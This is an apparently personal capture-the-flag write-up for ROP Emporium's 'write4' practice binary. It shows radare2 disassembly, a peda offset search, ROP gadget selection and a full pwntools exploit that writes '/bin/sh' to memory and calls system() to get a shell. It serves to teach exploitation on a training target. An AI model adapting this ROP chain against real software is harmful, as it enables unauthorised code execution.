Over the past few days I have not enough time to write and play CTF games, but yesterday I had a little bit of time, so I searched a bit about websites which has challenges about exploiting, I found a lot of websites with these kind of challenges thus I chose one of them, ROP Emporium and the challenge Write4 (random).


So, It is a writeup about this challenge, I have used peda and pwntools.


Solution

write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ab37f80904704258fda5656af18246786632b560, not stripped


We open the binary with radare2 in order to list all functions, find the vulnerability (we suppose a buffer overflow) and find the ROP gadgets in order to bypass the security properties of the executable.

$ r2 -A write4
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
 -- Use '-e bin.strings=false' to disable automatic string search when loading the binary.
[0x00400650]> afll
address            size  nbbs edges    cc cost          min bound range max bound          calls locals args xref frame name
================== ==== ===== ===== ===== ==== ================== ===== ================== ===== ====== ==== ==== ===== ====
0x00000000004005a0   26     3     3     2   12 0x00000000004005a0    26 0x00000000004005ba     1    0      0    1     8 sym._init
0x00000000004005d0    6     1     0     1    3 0x00000000004005d0     6 0x00000000004005d6     0    0      0    4     0 sym.imp.puts
0x00000000004005e0    6     1     0     1    3 0x00000000004005e0     6 0x00000000004005e6     0    0      0    1     0 sym.imp.system
0x00000000004005f0    6     1     0     1    3 0x00000000004005f0     6 0x00000000004005f6     0    0      0    1     0 sym.imp.printf
0x0000000000400600    6     1     0     1    3 0x0000000000400600     6 0x0000000000400606     0    0      0    1     0 sym.imp.memset
0x0000000000400610    6     1     0     1    3 0x0000000000400610     6 0x0000000000400616     0    0      0    1     0 sym.imp.__libc_start_main
0x0000000000400620    6     1     0     1    3 0x0000000000400620     6 0x0000000000400626     0    0      0    1     0 sym.imp.fgets
0x0000000000400630    6     1     0     1    3 0x0000000000400630     6 0x0000000000400636     0    0      0    2     0 sym.imp.setvbuf
0x0000000000400640    6     1     0     1    3 0x0000000000400640     6 0x0000000000400646     0    0      0    1     0 sub.__gmon_start_640
0x0000000000400650   41     1     0     1   15 0x0000000000400650    41 0x0000000000400679     1    0      1    0     8 entry0
0x0000000000400680   41     4     4     2   20 0x0000000000400680    50 0x00000000004006b2     0    0      0    1     8 sym.deregister_tm_clones
0x00000000004006c0   53     3     2    -1   20 0x00000000004006c0    53 0x00000000004006f5     0    0      0    2     8 sym.register_tm_clones
0x0000000000400700   28     3     3     2   14 0x0000000000400700    28 0x000000000040071c     1    0      0    0     0 sym.__do_global_dtors_aux
0x0000000000400720   35     4     6     4   19 0x0000000000400720    38 0x0000000000400746     0    0      0    0     8 entry1.init
0x0000000000400746  111     1     0     1   40 0x0000000000400746   111 0x00000000004007b5     6    0      0    1     8 sym.main
0x00000000004007b5   82     1     0     1   32 0x00000000004007b5    82 0x0000000000400807     4    1      0    1    40 sym.pwnme
0x0000000000400807   17     1     0     1   12 0x0000000000400807    17 0x0000000000400818     1    0      0    0     8 sym.usefulFunction
0x0000000000400830  101     4     5     3   49 0x0000000000400830   101 0x0000000000400895     1    0      3    1    56 sym.__libc_csu_init
0x00000000004008a0    2     1     0     1    3 0x00000000004008a0     2 0x00000000004008a2     0    0      0    1     0 sym.__libc_csu_fini
0x00000000004008a4    9     1     0     1    5 0x00000000004008a4     9 0x00000000004008ad     0    0      0    0     8 sym._fini


So, we disassemble the functions main and pwnme in order to find the vulnerability which we have to exploit.

main:
[0x00400746]> pD 111 @ sym.main 
|           ;-- main:
/ (fcn) sym.main 111
|   sym.main ();
|           ; DATA XREF from entry0 (0x40066d)
|           0x00400746      55             push rbp
|           0x00400747      4889e5         mov rbp, rsp
|           0x0040074a      488b050f0920.  mov rax, qword [sym.stdout] ; loc.stdout ; [0x601060:8]=0
|           0x00400751      b900000000     mov ecx, 0                  ; size_t size
|           0x00400756      ba02000000     mov edx, 2                  ; int mode
|           0x0040075b      be00000000     mov esi, 0                  ; char *buf
|           0x00400760      4889c7         mov rdi, rax                ; FILE*stream
|           0x00400763      e8c8feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x00400768      488b05110920.  mov rax, qword [obj.stderr] ; [0x601080:8]=0
|           0x0040076f      b900000000     mov ecx, 0                  ; size_t size
|           0x00400774      ba02000000     mov edx, 2                  ; int mode
|           0x00400779      be00000000     mov esi, 0                  ; char *buf
|           0x0040077e      4889c7         mov rdi, rax                ; FILE*stream
|           0x00400781      e8aafeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x00400786      bfb8084000     mov edi, str.write4_by_ROP_Emporium ; 0x4008b8 ; "write4 by ROP Emporium" ; const char *s
|           0x0040078b      e840feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400790      bfcf084000     mov edi, str.64bits         ; 0x4008cf ; "64bits\n" ; const char *s
|           0x00400795      e836feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0040079a      b800000000     mov eax, 0
|           0x0040079f      e811000000     call sym.pwnme
|           0x004007a4      bfd7084000     mov edi, str.Exiting        ; 0x4008d7 ; "\nExiting" ; const char *s
|           0x004007a9      e822feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007ae      b800000000     mov eax, 0
|           0x004007b3      5d             pop rbp
\           0x004007b4      c3             ret

pwnme:
[0x00400746]> pD 82 @ sym.pwnme 
/ (fcn) sym.pwnme 82
|   sym.pwnme ();
|           ; var char *s @ rbp-0x20
|           ; CALL XREF from sym.main (0x40079f)
|           0x004007b5      55             push rbp
|           0x004007b6      4889e5         mov rbp, rsp
|           0x004007b9      4883ec20       sub rsp, 0x20
|           0x004007bd      488d45e0       lea rax, [s]
|           0x004007c1      ba20000000     mov edx, 0x20               ; 32 ; size_t n
|           0x004007c6      be00000000     mov esi, 0                  ; int c
|           0x004007cb      4889c7         mov rdi, rax                ; void *s
|           0x004007ce      e82dfeffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x004007d3      bfe0084000     mov edi, str.Go_ahead_and_give_me_the_string_already ; 0x4008e0 ; "Go ahead and give me the string already!" ; const char *s
|           0x004007d8      e8f3fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007dd      bf09094000     mov edi, 0x400909           ; const char *format
|           0x004007e2      b800000000     mov eax, 0
|           0x004007e7      e804feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x004007ec      488b157d0820.  mov rdx, qword [obj.stdin]  ; [0x601070:8]=0 ; FILE *stream
|           0x004007f3      488d45e0       lea rax, [s]
|           0x004007f7      be00020000     mov esi, 0x200              ; 512 ; int size
|           0x004007fc      4889c7         mov rdi, rax                ; char *s
|           0x004007ff      e81cfeffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x00400804      90             nop
|           0x00400805      c9             leave
\           0x00400806      c3             ret

Obviously the vulnerability is in the function pwnme because the size of the memory address which  the executable reserved in memset is only of 32 bytes and with the function fgets we can use 512 bytes.

|           0x004007ce      e82dfeffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x004007cb      4889c7         mov rdi, rax                ; void *s
|           0x004007c6      be00000000     mov esi, 0                  ; int c
|           0x004007c1      ba20000000     mov edx, 0x20               ; 32 ; size_t n | 0x004007f7 be00020000 mov esi, 0x200 ; 512 ; int size | 0x004007fc 4889c7 mov rdi, rax ; char *s | 0x004007ff e81cfeffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)

Although we know where EIP address is overwrite, we use peda (offset 40):

=> 0x400806 :	ret    
   0x400807 :	push   rbp
   0x400808 :	mov    rbp,rsp
   0x40080b :	mov    edi,0x40090c
   0x400810 :	call   0x4005e0 
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe128 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffe130 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffe138 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffe140 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffe148 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffe150 ("AJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffe158 ("AAKAAgAA6AAL")
0056| 0x7fffffffe160 --> 0x4c414136 ('6AAL')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400806 in pwnme ()
gdb-peda$ patts
Registers contain pattern buffer:
RBP+0 found at offset: 32
Registers point to pattern buffer:
[RDX] --> offset 0 - size ~100
[RAX] --> offset 0 - size ~100
[RSP] --> offset 40 - size ~60


So, We have the offset at position 40, now we have to find the ROP gadgets in order to make the final payload. In addition, we have to know where we can inject our payload.

RAX: 0x7fffffffe0e0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBX: 0x0 
RCX: 0xfbad2098 
RDX: 0x7fffffffe0e0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RSI: 0x7ffff7dd5770 --> 0x0 
RDI: 0x0 
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe108 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x400806 (:	ret)
R8 : 0x0 
R9 : 0x0 
R10: 0x7ffff7dd3b58 --> 0x603010 --> 0x0 
R11: 0x246 
R12: 0x400650 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1f0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)


After we examine the ROP gadgets, we can do it

#  0x00400890               415e  pop r14       <- r14 = data section writable
#  0x00400892               415f  pop r15       <- r15 = /bin/sh
#  0x00400894                 c3  ret

#  0x00400820             4d893e  mov qword [r14], r15   <- [data section writable] = /bin/sh (So, we have /bin/sh in our program)
#  0x00400823                 c3  ret

#  0x00400893                 5f  pop rdi     <- rdi = "/bin/sh" address
#  0x00400894                 c3  ret         <- system

And, with all the ingredients, we have our final exploit:

#!/usr/bin/env python

from pwn import *

context(arch = 'amd64', os = 'linux')

elf = ELF("./write4")
p = process(elf.path)
#p = gdb.debug("/home/manu/Challenges/write4", '''
#break main
#''')

#  0x00400820             4d893e  mov qword [r14], r15
#  0x00400823                 c3  ret

#  0x00400890               415e  pop r14
#  0x00400892               415f  pop r15
#  0x00400894                 c3  ret

#  0x00400893                 5f  pop rdi
#  0x00400894                 c3  ret

pop_rdi_ret = 0x00400893
mov_r14_r15 = 0x00400820
pop14_pop15_ret = 0x00400890
system = 0x4005e0
call_system = 0x00400810
bin_sh = "/bin/sh\x00"
data_section_writable = 0x601050

p.sendline("A"*40 + p64(pop14_pop15_ret) + p64(data_section_writable) + bin_sh + p64(mov_r14_r15) + p64(pop_rdi_ret) + p64(data_section_writable) + p64(system))
p.interactive()


Running exploit:

$ ./exploit.py 
[*] '/home/manu/Challenges/write4'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/manu/Challenges/write4': pid 7850
[*] Switching to interactive mode
write4 by ROP Emporium
64bits

Go ahead and give me the string already!
> $ ls
core  exploit.py  flag.txt  input  peda-session-write4.txt  write4  write4.zip
$
[*] Stopped process '/home/manu/Challenges/write4' (pid 7850)


Happy hacking!